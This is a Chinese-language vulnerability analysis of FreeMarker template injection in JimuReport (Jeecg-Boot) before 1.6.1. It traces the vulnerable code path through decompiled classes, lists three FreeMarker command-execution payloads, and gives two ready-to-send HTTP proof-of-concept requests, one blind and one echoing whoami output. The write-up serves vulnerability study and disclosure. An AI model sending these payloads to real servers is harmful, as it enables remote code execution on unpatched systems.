Jeecg-Boot framework模板注入
Jeecg-Boot积木报表JimuReport < 1.6.1存在Freemarker模板注入,攻击者可构造恶意请求触发模板注入,造成远程代码执行。
分析
用idea打开或者用jadx反编译jimureport-spring-boot-starter-1.5.8.jar
jimureport-spring-boot-starter-1.5.8.jar!\org\jeecg\modules\jmreport\desreport\a\a.class
可以看到获取json里面参数sql的值给var2
i.a(var2)是进行sql注入黑名单检查的这里贴个图
然后将var2
带过去执行parseReportSql
函数
jimureport-spring-boot-starter-1.5.8.jar!\org\jeecg\modules\jmreport\desreport\service\a\i.class
执行e.a(sql, var8, (JSONArray)null)
jimureport-spring-boot-starter-1.5.8.jar!\org\jeecg\modules\jmreport\desreport\util\e.class
jimureport-spring-boot-starter-1.5.8.jar!\org\jeecg\modules\jmreport\desreport\render\utils\FreeMarkerUtils.class
这里的var0
是一开始的var2
,freemarker模板注入的地方就不继续往下跟了
看着有点乱举个小栗子理解一下
FreeMarker的new内置函数
new 函数可以创建一个继承自 freemarker.template.TemplateModel 类的变量
FreeMarker模板注入的payload
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}
POC
无回显
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 89
{"sql":"<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"calc\")}"}
有回显
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 100
{"sql":"select '<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"whoami\")}'"}